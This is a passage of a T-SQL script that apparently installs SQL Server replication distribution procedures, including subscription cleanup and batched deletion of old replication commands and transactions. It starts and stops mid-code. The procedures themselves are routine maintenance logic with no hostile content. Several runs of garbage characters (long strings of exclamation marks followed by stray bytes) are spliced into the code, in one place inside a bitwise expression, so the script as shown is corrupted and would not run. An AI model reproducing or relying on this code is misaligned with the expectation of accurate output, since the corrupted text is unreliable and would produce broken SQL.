									where publisher_database_id = @publisher_database_id
										and publication_id = @originator_publication_id
										and artid = @artId
										and next_valid_lsn = @next_valid_lsn_from_log
										and parameterName = N''publication'') as sysname),
					@article = cast((select parameterValue 
									from dbo.MSnosyncsubsetup
									where publisher_database_id = @publisher_database_id
										and publication_id = @originator_publication_id
										and artid = @artId
										and next_valid_lsn = @next_valid_lsn_from_log
										and parameterName = N''article'') as sysname),
					@subscriber = cast((select parameterValue 
									from dbo.MSnosyncsubsetup
									where publisher_database_id = @publisher_database_id
										and publication_id = @originator_publication_id
										and artid = @artId
										and next_valid_lsn = @next_valid_lsn_from_log
										and parameterName = N''subscriber'') as sysname),
					@destination_db = cast((select parameterValue 
										from dbo.MSnosyncsubsetup
										where publisher_database_id = @publisher_database_id
											and publication_id = @originator_publication_id
											and artid = @artId
											and next_valid_lsn = @next_valid_lsn_from_log
											and parameterName = N''destination_db'') as sysname),
					@subscriptionlsn = cast((select parameterValue 
										from dbo.MSnosyncsubsetup
										where publisher_database_id = @publisher_database_id
											and publication_id = @originator_publication_id
											and artid = @artId
											and next_valid_lsn = @next_valid_lsn_from_log
											and parameterName = N''subscriptionlsn'') as binary(10)),
					@lsnsource = cast((select parameterValue 
									from dbo.MSnosyncsubsetup
									where publisher_database_id = @publisher_database_id
										and publication_id = @originator_publication_id
										and artid = @artId
										and next_valid_lsn = @next_valid_lsn_from_log
										and parameterName = N''lsnsource'') as tinyint),
					@originator_publication_id = cast((select parameterValue 
												from dbo.MSnosyncsubsetup
												where publisher_database_id = @publisher_database_id
													and publication_id = @originator_publication_id
													and artid = @artId
													and next_valid_lsn = @next_valid_lsn_from_log
													and parameterName = N''originator_publication_id'') as int),
					@originator_db_version = cast((select parameterValue 
											from dbo.MSnosyncsubsetup
											where publisher_database_id = @publisher_database_id
												and publication_id = @originator_publication_id
												and artid = @artId
												and next_valid_lsn = @next_valid_lsn_from_log
												and parameterName = N''originator_db_version'') as int),
					@originator_meta_data = (select parameterValue 
											from dbo.MSnosyncsubsetup
											where publisher_database_id = @publisher_database_id
												and publication_id = @originator_publication_id
												and artid = @artId
												and next_valid_lsn = @next_valid_lsn_from_log
												and parameterName = N''originator_meta_data''),
					@nosync_setup_script = (select parameterValue 
											from dbo.MSnosyncsubsetup
											where publisher_database_id = @publisher_database_id
												and publication_id = @originator_publication_id
												and artid = @artId
												and next_valid_lsn = @next_valid_lsn_from_log
												and parameterName = N''nosync_setup_script''),
					@next_valid_lsn = cast((select parameterValue 
										from dbo.MSnosyncsubsetup
										where publisher_database_id = @publisher_database_id
											and publication_id = @originator_publication_id
											and artid = @artId
											and next_valid_lsn = @next_valid_lsn_from_log
											and parameterName = N''next_valid_lsn'') as binary(10))
					if @@error <> 0 goto Failure

					select @nosyncCommandStr = N''exec sp_MSsetupnosyncsubwithlsnatdist 
						@publisher = @publisher,
						@publisher_db = @publisher_db,
						@publication = @publication,
						@article = @article,
						@subscriber = @subscriber,
						@destination_db = @destination_db,
						@subscriptionlsn = @subscriptionlsn,
						@lsnsource = @lsnsource,
						@originator_publication_id = @originator_publication_id,
						@originator_db_version = @originator_db_version,
						@originator_meta_data = @originator_meta_data,
						@nosync_setup_script = @nosync_setup_script,
						@next_valid_lsn = @next_valid_lsn''

					exec sp_executesql
						@stmt = @nosyncCommandStr,
						@params = N''@publisher 				sysname,
									@publisher_db 			sysname,
									@publication 				sysname,
									@article					sysname,
									@subscriber				sysname,
									@destination_db			sysname,
									@subscriptionlsn			binary(10),
									@lsnsource				tinyint,
									@originator_publication_id	int,
									@originator_db_version		int,
									@originator_meta_data		nvarchar(max),
									@nosync_setup_script		nvarchar(max),
									@next_valid_lsn			binary(10)'',
						@publisher = @publisher,
						@publisher_db = @publisher_db,
						@publication = @publication,
						@article = @article,
						@subscriber = @subscriber,
						@destination_db = @destination_db,
						@subscriptionlsn = @subscriptionlsn,
						@lsnsource = @lsnsource,
						@originator_publication_id = @originator_publication_id,
						@originator_db_version = @originator_db_version,
						@originator_meta_data = @originator_meta_data,
						@nosync_setup_script = @nosync_setup_script,
						@next_valid_lsn = @next_valid_lsn

					if @@error <> 0 goto Failure

				end --end of if (object_id(N''dbo.MSnosyncsubsetup, ''U'')) is NOT NULL

				-- Upon success of the execution of sp_MSsetupnosyncsubwithlsnatdist,
		!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(lL)LvZt		-- clean up the MSnosyncsubsetup table by deleting the parameters
				-- regarding this specified nonsync subscription
				delete dbo.MSnosyncsubsetup 
				where publisher_database_id = @publisher_database_id
				  and publication_id = @originator_publication_id
				  and artid = @artId
				  and next_valid_lsn = @next_valid_lsn_from_log

				if @@error <> 0 goto Failure

				goto Continue_next_command
Failure:
				return 1
Continue_next_command:
			end
        		else   --i.e., when (@cmdType & 0xFFFFFFF) IS NOT 54
            		begin
                 	        -- Get the originator_id for the first command
                	        if @origSrvLen <> 0 and @origDbLen <> 0 
                	        begin 
                	            select @originator_id 	= null,
                	           			@originator		= substring( @tempdata, 60 + @cmdLen, @origSrvLen),
                						@originatorDb	= substring( @tempdata, 60 + @cmdLen + @origSrvLen, @origDbLen),
                						@origPublId 	= substring( @tempdata, 42, 4),
                						@origDbVersion	= substring( @tempdata, 46, 4)

				-- if @origPublId and @origDbVersion is 0 or NULL
				-- then we are not in Peer-To-Peer so we do not need
				-- to set the dbversion and publication id values...
				if isnull(@origPublId, 0) != 0
					and isnull(@origDbVersion, 0) != 0
				begin
					select @originator_id = id 
		            	from MSrepl_originators with (readpast)
		            	where publisher_database_id = @publisher_database_id 
			                and UPPER(srvname) = UPPER(@originator)
			                and dbname = @originatorDb
			                and publication_id = @origPublId
			                and dbversion = @origDbVersion
				end
				else
				begin
					select @origPublId = NULL,
							@origDbVersion = NULL
							
					select @originator_id = id 
		            	from MSrepl_originators 
		            	where publisher_database_id = @publisher_database_id 
			                and UPPER(srvname) = UPPER(@originator)
			                and dbname = @originatorDb
			                and publication_id is NULL
			                and dbversion is NULL
				end
				
	            if @originator_id is null
	            begin
	                insert into MSrepl_originators (publisher_database_id, srvname, dbname, publication_id, dbversion) 
	                	values (@publisher_database_id, @originator, @originatorDb, @origPublId, @origDbVersion)
	                	
	                select @originator_id = @@identity
	            end
	            end
	        else
	            select @originator_id = 0
		
			INSERT INTO MSrepl_commands 
			(
				publisher_database_id, 
				xact_seqno, 
				type, 
				article_id, 
				originator_id, 
				command_id, 
				partial_command, 
				hashkey,
				originator_lsn,
				command
			)
			VALUES 
			(
				@publisher_database_id,
				@xactSeqNo,
				@cmdType,
				@artId, 					
				@originator_id,
				@cmdId,
				@fIncomplete,
				@hashKey,
				@origLSN,
				@cmdText
			)

		end    --end of i.e., when (@cmdType & 0xFFFFFFF)  in (54, 55, 56)
	    end    --end of if @cmdLen > 0
		
		select @x = @x + 1
	end

END_CMDS:
    IF @@ERROR <> 0
      return (1)
END

')
    if @@error <> 0 return 1
    exec('
--
-- Name: sp_MSremove_published_jobs
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Not public (db owner chaining)
--
raiserror(15339,-1,-1,''sp_MSremove_published_jobs'')

')
    if @@error <> 0 return 1
    exec('CREATE PROCEDURE sp_MSremove_published_jobs
@server sysname,
@database sysname
AS
    -- 6.5 publisher and 7.0 publisher will call this
    -- publisher_database_id will be drop in sp_MSdrop_publication.
    return(0)

')
    if @@error <> 0 return 1
    exec('
--
-- Name: sp_MSsubscription_cleanup
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Not public (db owner chaining)
--
raiserror(15339,-1,-1,''sp_MSsubscription_cleanup'')

')
    if @@error <> 0 return 1
    exec('CREATE PROCEDURE sp_MSsubscription_cleanup
    @cutoff_time datetime
as
begin
    set nocount on
	
	declare @ACTIVE 		tinyint,
    		@INACTIVE 		tinyint,
    		@SUBSCRIBED 	tinyint,
    		@VIRTUAL 		smallint,
			@SNAPSHOT_BIT 	int

    declare @retcode 		int,
			@max_time 		datetime,
			@agent_id 		int,
			@num_dropped 	int

    declare @pub_db_id      int,
            @min_autonosync_lsn varbinary(16),
            @new_autonosync_lsn varbinary(16),
            @low_autonosync_lsn binary(8),
            @high_autonosync_lsn binary(8),
            @publication_id int

	select @ACTIVE 			= 2,
			@INACTIVE 		= 0,
    		@SUBSCRIBED 	= 1,
    		@VIRTUAL 		= -1,
			@SNAPSHOT_BIT 	= 0x80000000

    select @max_time = dateadd(hour, 1, getdate())

    -- Refer to sp_MSmaximun_cleanup_xact_seqno to understand the logic
    -- in this sp. If you change the logic here, you may need to change
    -- that sp as well.

    -- Deactivate real subscriptions for agents that are working on 
    -- transactions that are older than @retention
    -- update all the subscriptions for those agents, including
    -- subscriptions that are in subscribed state!
    update MSsubscriptions  
		set status = @INACTIVE 
			where agent_id in (
							select derivedInfo.agent_id 
								from (
										-- Here we are retrieving the agent id, publisher database id, 
										-- min subscription sequence number, and the transaction seqno 
										-- related to the max timestamp row in the history table. this is
										-- important since the tran seqno can go back to lower values in 
										-- the case of reinit with immediate sync.
										select s.agent_id as agent_id,
											s.publisher_database_id as publisher_database_id,
											min(s.subscription_seqno) as subscription_seqno,
											isnull(h.xact_seqno, 0x0) as xact_seqno
										from MSsubscriptions s
											left join (MSdistribution_history h with (REPEATABLEREAD)
													join (select agent_id, 
																max(timestamp) as timestamp
															from MSdistribution_history with (REPEATABLEREAD)
															group by agent_id) as h2 
														on h.agent_id = h2.agent_id 
															and h.timestamp = h2.timestamp)
												on s.agent_id = h.agent_id
										where s.status = @ACTIVE                       
											and s.subscriber_id >= 0 	-- Only well-known agent
										group by s.agent_id,            -- agent and pubdbid as a pair can never be differnt
											s.publisher_database_id,      
											isnull(h.xact_seqno, 0x0)	-- because of join above we can include this
									) derivedInfo
								where @cutoff_time >= (
													-- get the entry_time of the first transaction that cannot be
													-- cleaned up normally because of this agent.
													-- use history if it exists and is larger
													case when derivedInfo.xact_seqno >= derivedInfo.subscription_seqno
													then
														-- join with commands table to filter out transactions that do not have commands
														isnull((select top 1 entry_time 
																	from MSrepl_transactions t, 
																			MSrepl_commands c, 
																			MSsubscriptions sss
																	where sss.agent_id = derivedInfo.agent_id 
																		and t.publisher_database_id = derivedInfo.publisher_database_id 
																		and c.publisher_database_id = derivedInfo.publisher_database_id 
																		and c.xact_seqno = t.xact_seqno
																		-- filter out snapshot transactions not for this subscription 
																		-- because they do not represent significant data changes
																		and ((c.type & !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(mL-BɅvZt@SNAPSHOT_BIT) <> @SNAPSHOT_BIT 
																				or (c.xact_seqno >= sss.subscription_seqno 
																					and c.xact_seqno <= sss.ss_cplt_seqno)) 
																		-- filter out non-subscription articles for independent agents
																		and c.article_id = sss.article_id 
																		-- history xact_seqno can be cleaned up
																		and t.xact_seqno > isnull( derivedInfo.xact_seqno, 0x0 ) 
																		and c.xact_seqno > isnull( derivedInfo.xact_seqno, 0x0 )
																	order by t.xact_seqno asc), @max_time)
													else
														isnull((select top 1 entry_time 
																	from MSrepl_transactions t, 
																			MSrepl_commands c, 
																			MSsubscriptions sss
																	where sss.agent_id = derivedInfo.agent_id 
																		and t.publisher_database_id = derivedInfo.publisher_database_id 
																		and c.publisher_database_id = derivedInfo.publisher_database_id
																		and c.xact_seqno = t.xact_seqno
																		-- filter out snapshot transactions not for this subscription 
																		-- because they do not represent significant data changes
																		and ((c.type & @SNAPSHOT_BIT ) <> @SNAPSHOT_BIT 
																				or (c.xact_seqno >= sss.subscription_seqno 
																					and c.xact_seqno <= sss.ss_cplt_seqno))
																		-- filter out non-subscription articles for independent agents
																		and c.article_id = sss.article_id
																		-- sub xact_seqno cannot be cleaned up
																		and t.xact_seqno >= derivedInfo.subscription_seqno
																		and c.xact_seqno >= derivedInfo.subscription_seqno
																	order by t.xact_seqno asc), @max_time)
													end))
	if @@rowcount <> 0
		RAISERROR(21011, 10, -1)

	-- Dropping all the aonymous agents that are working on
    -- transactions that are older than @retention
    -- No message raised.
	-- Don''t drop agents that do not have history (true for new agents).
    -- For each publisher/publisherdb pair do cleanup
    declare hC CURSOR LOCAL FAST_FORWARD FOR 
		select distinct derivedInfo.agent_id 
			from (
					-- Here we are retrieving the agent id, publisher database id, 
					-- min subscription sequence number, and the transaction seqno 
					-- related to the max timestamp row in the history table. this is
					-- important since the tran seqno can go back to lower values in 
					-- the case of reinit with immediate sync.
					select msda.id as agent_id,
							msda.publisher_database_id as publisher_database_id,
							min(s.subscription_seqno) as subscription_seqno, 
							h.xact_seqno as xact_seqno
						from MSsubscriptions s 
							join MSdistribution_agents msda
								on s.agent_id = msda.virtual_agent_id 
							join (MSdistribution_history h with (REPEATABLEREAD)
									join (select agent_id,
												max(timestamp) as timestamp
											from MSdistribution_history with (REPEATABLEREAD)
											group by agent_id) as h2
										on h.agent_id = h2.agent_id
											and h.timestamp = h2.timestamp)
								on msda.id = h.agent_id
						where s.status = @ACTIVE                			
						group by msda.id, 						-- agent and pubdbid as a pair can never be differnt
							msda.publisher_database_id, 
							h.xact_seqno
				) derivedInfo
       		where @cutoff_time >= (
				                -- Get the entry_time of the first tran that cannot be
				                -- cleaned up normally because of this agent.
				                -- use history if it exists and is larger
				                case  when derivedInfo.xact_seqno > 0x00
				                then
									-- does not have commands will not be picked up by sp_MSget_repl_commands
									isnull((select top 1 entry_time 
												from MSrepl_transactions t, 
														MSrepl_commands c, 
														MSsubscriptions sss
												where sss.agent_id = derivedInfo.agent_id 
													and t.publisher_database_id = derivedInfo.publisher_database_id
													and c.publisher_database_id = derivedInfo.publisher_database_id 
													and c.xact_seqno = t.xact_seqno
													-- filter out snapshot transactions not for this subscription 
													-- because they do not represent significant data changes
													and ((c.type & @SNAPSHOT_BIT) <> @SNAPSHOT_BIT 
															or (c.xact_seqno >= sss.subscription_seqno 
																and c.xact_seqno <= sss.ss_cplt_seqno))
													-- filter out non-subscription articles for independent agents
													and c.article_id = sss.article_id
													-- history xact_seqno can be cleaned up
													and t.xact_seqno > derivedInfo.xact_seqno
													and c.xact_seqno > derivedInfo.xact_seqno
												order by t.xact_seqno asc), @max_time)
				                else
				                    isnull((select top 1 entry_time 
												from MSrepl_transactions t, 
														MSrepl_commands c, 
														MSsubscriptions sss
												where sss.agent_id = derivedInfo.agent_id
													and t.publisher_database_id = derivedInfo.publisher_database_id
													and c.publisher_database_id = derivedInfo.publisher_database_id
													and c.xact_seqno = t.xact_seqno
							                        -- filter out snapshot transactions not for this subscription 
							                        -- because they do not represent significant data changes
													and ((c.type & @SNAPSHOT_BIT ) <> @SNAPSHOT_BIT 
														or (c.xact_seqno >= sss.subscription_seqno 
															and c.xact_seqno <= sss.ss_cplt_seqno)) 
													-- filter out non-subscription articles for independent agents
													and c.article_id = sss.article_id
													-- sub xact_seqno cannot be cleaned up
													and t.xact_seqno >= isnull(derivedInfo.subscription_seqno, 0x0)
													and c.xact_seqno >= isnull(derivedInfo.subscription_seqno, 0x0)
				                        		order by t.xact_seqno asc), @max_time)
				                  end)
	for read only
	select @num_dropped = 0
    open hC
    fetch hC into @agent_id
    while (@@fetch_status <> -1)
    begin
		exec @retcode = sys.sp_MSdrop_distribution_agentid_dbowner_proxy @agent_id
		if @retcode <> 0 or @@error <> 0
			return (1)
			
		select @num_dropped = @num_dropped + 1
	    fetch hC into @agent_id
	end
	if @num_dropped > 0
        RAISERROR(20597, 10, -1, @num_dropped) 

    -- Deactivating virtual subscriptions that are older then @retention.
    update MSsubscriptions  
		set status = @SUBSCRIBED
		-- Only change active subscriptions!
		where status = @ACTIVE 					
			and subscriber_id = @VIRTUAL 
			-- Get the entry_time of the first tran that cannot be
			-- cleaned up normally because of this subscription.
			and @cutoff_time >= isnull((select top 1 entry_time 
										from MSrepl_transactions t 
										where t.publisher_database_id = MSsubscriptions.publisher_database_id 
											and xact_seqno >= MSsubscriptions.subscription_seqno
			                			order by t.xact_seqno asc), @max_time)

    if @@rowcount <> 0
		RAISERROR(21077, 10, -1)
    
    -- Clear the min_noautosync_lsn value in MSpublications, if it specifies a time older than the retention period
    --  This only applies to publications which are allowed for init from backup when there are no subscribers present.

    -- We first find all publications enabled for init from backup with a min_autonosync_lsn specified
    declare #pubC CURSOR FOR
        select msp.publication_id, mspd.id, msp.min_autonosync_lsn from dbo.MSpublications msp 
            join dbo.MSpublisher_databases mspd on msp.publisher_id = mspd.publisher_id
                 and msp.publisher_db = mspd.publisher_db
            where msp.allow_initialize_from_backup <> 0
                 and msp.min_autonosync_lsn is not null
       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(nVMvZt          and not exists(
                    select publisher_id from MSsubscriptions mss where
                        publisher_database_id = mspd.id) 
    for update of msp.publication_id

    open #pubC
    fetch next from #pubC into @publication_id, @pub_db_id, @min_autonosync_lsn

    while (@@fetch_status <> -1)
    begin
        select @new_autonosync_lsn = null

        -- Find the largest xact_seqno, that''s outside of the retention period
        select top 1 @new_autonosync_lsn = xact_seqno from dbo.MSrepl_transactions
            where publisher_database_id = @pub_db_id 
                and xact_seqno >= @min_autonosync_lsn
                and entry_time <= @cutoff_time
            order by xact_seqno desc

        if @new_autonosync_lsn is not null
        begin
            -- We have the largest xact_seqno that''s outside of the retention period
            --   however, this lsn is itself outside of the retention period, so we increment
            --   the LSN by 1 in order to make sure it gets cleaned up properly
            select @low_autonosync_lsn = substring(@new_autonosync_lsn, 9, 8)
            select @high_autonosync_lsn = substring(@new_autonosync_lsn, 1, 8)
			
            select @low_autonosync_lsn = cast(@low_autonosync_lsn as bigint) + 1
            -- Check for overflow
            if cast(@low_autonosync_lsn as bigint) = 0
               select @high_autonosync_lsn = cast(@high_autonosync_lsn as bigint) + 1

            -- Concat the two parts of the LSN
            select @new_autonosync_lsn = @high_autonosync_lsn + @low_autonosync_lsn 

            -- update the autonosync_lsn to reflect the earliest command we can keep within the 
            --  retention period
            update dbo.MSpublications
                set min_autonosync_lsn = @new_autonosync_lsn
                where publication_id = @publication_id
        end

        fetch next from #pubC into @publication_id, @pub_db_id, @min_autonosync_lsn
    end

    close #pubC
    deallocate #pubC

	return 0
end

')
    if @@error <> 0 return 1
    exec('--
-- Name: sp_MSdelete_dodelete
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Not public (db owner chaining)
--
raiserror(15339,-1,-1,''sp_MSdelete_dodelete'')

')
    if @@error <> 0 return 1
    exec('-- New delete stored procedure WITH RECOMPILE
-- Note: this function is currently called from sp_MSdelete_publisherdb_trans only
--   and due to the removal of "set rowcount", the TOP(5000) has been added here also,
--   if a change needs to be made, check that proc also
CREATE PROCEDURE sp_MSdelete_dodelete
	@publisher_database_id int,
	@max_xact_seqno varbinary(16),
	@last_xact_seqno varbinary(16),
	@last_log_xact_seqno varbinary(16),
	@has_immediate_sync bit = 1
WITH RECOMPILE
as
begin
		declare @second_largest_log_xact_seqno varbinary(16)
		set @second_largest_log_xact_seqno = 0x0

		if @last_log_xact_seqno is not NULL
		begin
			--get the second largest xact_seqno among log entries
			select @second_largest_log_xact_seqno = max(xact_seqno)
			from MSrepl_transactions
			where publisher_database_id = @publisher_database_id
				and xact_id <> 0x0
				and xact_seqno < @last_log_xact_seqno

			if @second_largest_log_xact_seqno is NULL or substring(@second_largest_log_xact_seqno, 1, 10) <> substring(@last_log_xact_seqno, 1, 10)
			begin
				set @second_largest_log_xact_seqno = 0x0
			end
		end

		
		if @has_immediate_sync = 0
			delete TOP(5000) MSrepl_transactions WITH (PAGLOCK) from MSrepl_transactions with (INDEX(ucMSrepl_transactions)) where
				publisher_database_id = @publisher_database_id and
				xact_seqno <= @max_xact_seqno and
				xact_seqno <> @last_xact_seqno and
				xact_seqno <> @last_log_xact_seqno and
				xact_seqno <> @second_largest_log_xact_seqno --ensure at least two log entries are left, when there existed more than two log entries
				OPTION (MAXDOP 1)
		else
			delete TOP(5000) MSrepl_transactions WITH (PAGLOCK) from MSrepl_transactions with (INDEX(ucMSrepl_transactions)) where
				publisher_database_id = @publisher_database_id and
				xact_seqno <= @max_xact_seqno and
				xact_seqno <> @last_xact_seqno and
				xact_seqno <> @last_log_xact_seqno and  
				xact_seqno <> @second_largest_log_xact_seqno and --ensure at least two log entries are left, when there existed more than two log entries
				-- use nolock to avoid deadlock
				not exists (select * from MSrepl_commands c with (nolock) where
					c.publisher_database_id = @publisher_database_id and
					c.xact_seqno = MSrepl_transactions.xact_seqno and 
                    c.xact_seqno <= @max_xact_seqno)
			OPTION (MAXDOP 1)
end

')
    if @@error <> 0 return 1
    exec('--
-- Name: sp_MSdelete_publisherdb_trans
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Not public (db owner chaining)
--
raiserror(15339,-1,-1,''sp_MSdelete_publisherdb_trans'')

')
    if @@error <> 0 return 1
    exec('CREATE PROCEDURE sp_MSdelete_publisherdb_trans
    @publisher_database_id int,
    @max_xact_seqno varbinary(16),
	@max_cutoff_time datetime,
    @num_transactions int OUTPUT,
    @num_commands int OUTPUT
    as

	set nocount on
    
	declare @snapshot_bit int
	declare @replpost_bit int
    declare @directory_type int
    declare @alt_directory_type int
    declare @scriptexec_type int
    declare @last_xact_seqno varbinary(16)
    declare @last_log_xact_seqno varbinary(16)
    declare @max_immediate_sync_seqno varbinary(16)
    declare @dir nvarchar(512)
    declare @row_count int
    declare @batchsize int
    declare @retcode int            /* Return value of xp_cmdshell */
	declare @has_immediate_sync bit
	declare @xact_seqno varbinary(16)
	declare @command_id int
	declare @type int
	declare @directory nvarchar(1024)
	declare @syncinit int
	declare @syncdone int

    select @snapshot_bit = 0x80000000
	select @replpost_bit = 0x40000000
    select @directory_type = 7
    select @alt_directory_type = 25
	select @scriptexec_type = 46
	select @syncinit = 37
	select @syncdone = 38
    select @num_transactions = 0
    select @num_commands = 0

       -- Being as this is a cleanup process it is our prefered victim
       SET DEADLOCK_PRIORITY LOW

	-- If transactions for immediate_sync publications will not be cleanup up until
	-- they are older than max retention, except for snapshot transactions.
	-- Snapshot transactions for immediate_sync publication will be cleanup up if it is
	-- not used by any subscriptions (including virtual and virtual immediate_syncymous
	-- subscriptions. Both will be reset by snapshot agent every time if the 
	-- publication is snapshot type.) The special logic for snapshot transactions
	-- is mostly for snapshot publications. It is to cleaup up the snapshot files 
	-- ASAP and not to wait for max retention.
	-- We don''t need to do this for non-immediate_syncymous publications since the snapshot
	-- trans for them will be removed as soon as they are distributed and min ''
	-- retention is reached.

	-- Detect if there are immediate_syncymous publications in this publishing db.
	if exists (select * from MSsubscriptions where
			publisher_database_id = @publisher_database_id and
			subscriber_id < 0)
		select @has_immediate_sync = 1
	else
		select @has_immediate_sync = 0

	if @has_immediate_sync = 1
	begin
		-- if @max_immediate_sync_seqno is null, no row will be deleted based on that.
		select @max_immediate_sync_seqno = max(xact_seqno) 
			from MSrepl_transactions with (nolock)
			where publisher_database_id = @publisher_database_id 
				and entry_time <= @max_cutoff_time
	end

	-- table to store all of the snapshot command seqno that will 
	-- need to be deleted fr!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(oVM{vZtom MSrepl_commands after dir removal
	declare @snapshot_xact_seqno table (snap_xact_seqno varbinary(16))

    -- Note delete commands first since transaction table will be used for
    -- geting @max_xact_seqno (see sp_MSmaximum_cleanup_seqno).
    -- Delete all directories stored in directory command.
	if @has_immediate_sync = 0
		declare  hCdirs  CURSOR LOCAL FAST_FORWARD FOR select CONVERT(nvarchar(512), command),
			xact_seqno, command_id, type
			from MSrepl_commands with (nolock) where
			publisher_database_id = @publisher_database_id and
			xact_seqno <= @max_xact_seqno and   
			((type & ~@snapshot_bit) = @directory_type or
            (type & ~@snapshot_bit) = @alt_directory_type or
            (type & ~@replpost_bit) = @scriptexec_type)
		for read only
	else
		declare  hCdirs  CURSOR LOCAL FAST_FORWARD FOR select CONVERT(nvarchar(512), command),
			xact_seqno, command_id, type
			from MSrepl_commands c with (nolock) where
			publisher_database_id = @publisher_database_id and
			xact_seqno <= @max_xact_seqno and  
			(
				-- In this section we skip over script exec because they should only be
				-- removed when they are out of retention (no subscriptions will ever
				-- point to the script exec commands so if we didn''t exclude them here they
				-- would always be removed... even when they are needed by subscribers).
				(
					(type & ~@snapshot_bit) in (@directory_type, @alt_directory_type)
				 	and (
						-- Select the row if it is older than max retention.
						xact_seqno <= @max_immediate_sync_seqno or 
						-- Select the row if it is not used by any subscriptions.
						not exists (select * from MSsubscriptions s where 
									s.publisher_database_id = @publisher_database_id and 
									s.subscription_seqno = c.xact_seqno) OR
						-- Select the row if it is not for immediate_sync publications
						-- Note: directory command have article id 0 so it is not useful
						not exists (select * from MSpublications p where
								p.publication_id = (select top 1 s.publication_id 
									from MSsubscriptions s where
									s.publisher_database_id = @publisher_database_id and
									s.subscription_seqno = c.xact_seqno) and
								p.immediate_sync = 1)
					)
				)
				-- For script exec only select the row if it is out of retention
				or ((type & ~@replpost_bit) = @scriptexec_type
						and xact_seqno <= @max_immediate_sync_seqno)
			)

		for read only

    open hCdirs
    fetch hCdirs into @dir, @xact_seqno, @command_id, @type
    while (@@fetch_status <> -1)
    begin
    	-- script exec command, need to map to the directory path and remove leading 0 or 1
		if((@type & ~@replpost_bit) = @scriptexec_type)
		begin
			select @dir = left(@dir,len(@dir) - charindex(N''\'', reverse(@dir)))
			
			if left(@dir, 1) in (N''0'', N''1'')
			begin
				select @dir = right(@dir, len(@dir) - 1)
			end
		end
		
		-- Need to map unc to local drive for access problem
        exec @retcode = sys.sp_MSreplremoveuncdir @dir
        /* Abort the operation if the delete fails */
        if (@retcode <> 0 or @@error <> 0)
            return (1)

		-- build up a list of snapshot commands that will be deleted below
		-- this list is built because we must cleanup scripts, alt snap paths
		-- and regular snapshots prior to removing the commands for them...
		insert into @snapshot_xact_seqno(snap_xact_seqno) values (@xact_seqno)

	    fetch hCdirs into @dir, @xact_seqno, @command_id, @type
    end
    close hCdirs
    deallocate hCdirs

	-- delete all of the snapshot commands related to directories that were 
	-- cleaned up. SYNCINIT and SYNCDONE tokens for concurrent snapshot will 
	-- be cleaned up by retention period in the next section below... We do
	-- not attempt to remove the SYNCINIT or SYNCDONE tokens earlier because
	-- we have no safe way of associating them with a particular snapshot.
	-- Also, we can''t tell if the tokens are needed by an existing snapshot.
	WHILE 1 = 1
    BEGIN
		DELETE TOP(2000) MSrepl_commands WITH (PAGLOCK) from MSrepl_commands with (INDEX(ucMSrepl_commands))
			WHERE publisher_database_id = @publisher_database_id 
				AND xact_seqno IN (SELECT DISTINCT snap_xact_seqno 
									FROM @snapshot_xact_seqno)
			OPTION (MAXDOP 1)

		SELECT @row_count = @@rowcount

		-- Update output parameter
    	SELECT @num_commands = @num_commands + @row_count
    
        IF @row_count < 2000 -- passed the result set.  We''re done
            BREAK
	END

    -- Since we''re cleaning up, we set the lock timeout to immediate
    --  this way we shouldn''t interfere with the other agents using the table.

    -- Holding off for some testing on this
    --SET LOCK_TIMEOUT 1

    -- Delete all commans less than or equal to the @max_xact_seqno
    -- Delete in batch to reduce the transaction size

    WHILE 1 = 1
    BEGIN
		if @has_immediate_sync = 0
			DELETE TOP(2000) MSrepl_commands WITH (PAGLOCK) from MSrepl_commands with (INDEX(ucMSrepl_commands)) where
				publisher_database_id = @publisher_database_id and
				xact_seqno <= @max_xact_seqno and
				(type & ~@snapshot_bit) not in (@directory_type, @alt_directory_type) and
				(type & ~@replpost_bit) <> @scriptexec_type
				OPTION (MAXDOP 1)
		else
			-- Use nolock hint on subscription table to avoid deadlock
			-- with snapshot agent.
			DELETE TOP(2000) MSrepl_commands WITH (PAGLOCK) from MSrepl_commands with (INDEX(ucMSrepl_commands)) where
				publisher_database_id = @publisher_database_id and
				xact_seqno <= @max_xact_seqno and
				-- do not delete directory, alt directory or script exec commands. they are deleted 
				-- above. We have to do this because we use a (nolock) hint and we have to make sure we 
				-- don''t delete dir commands when the file has not been cleaned up in the code above. It''s
				-- ok to delete snap commands that are out of retention and perform lazy delete of dir
				(type & ~@snapshot_bit) not in (@directory_type, @alt_directory_type) and
				(type & ~@replpost_bit) <> @scriptexec_type and
				(
					-- Select the row if it is older than max retention.
					xact_seqno <= @max_immediate_sync_seqno or 
					-- Select the snap cmd if it is not for immediate_sync article
					-- We know the command is for immediate_sync publication if
					-- the snapshot tran include articles that has virtual
					-- subscritptions. (use subscritpion table to avoid join with
					-- article and publication table). We skip sync tokens because 
					-- they are never pointed to by subscriptions...
					(
						(type & @snapshot_bit) <> 0 and
						(type & ~@snapshot_bit) not in (@syncinit, @syncdone) and
						not exists (select * from MSsubscriptions s with (nolock) where
							s.publisher_database_id = @publisher_database_id and
							s.article_id = MSrepl_commands.article_id and
							s.subscriber_id < 0)
					)
				)
				OPTION (MAXDOP 1)

		select @row_count = @@rowcount
        -- Update output parameter
        select @num_commands = @num_commands + @row_count
    
        IF @row_count < 2000 -- passed the result set.  We''re done
            BREAK
    END
    
    -- get the max transaction row
    select @last_log_xact_seqno = max(xact_seqno) from MSrepl_transactions
		where publisher_database_id = @publisher_database_id 
        	and xact_id <> 0x0  -- not initial sync transaction

    select @last_xact_seqno = max(xact_seqno) from MSrepl_transactions
		where publisher_database_id = @publisher_database_id

    -- Remove all transactions less than or equal to the @max_xact_seqno and leave the 
    -- last transaction row
    -- Note @max_xact_seqno might be null, in this case don''t do any thing.
    -- Delete in batchs to reduce the transaction size

    -- Delete all commans less than or equal to the @max_xact_seqno
    -- Delete  rows to reduce the transaction size
    WHILE 1 = 1
    BEGIN
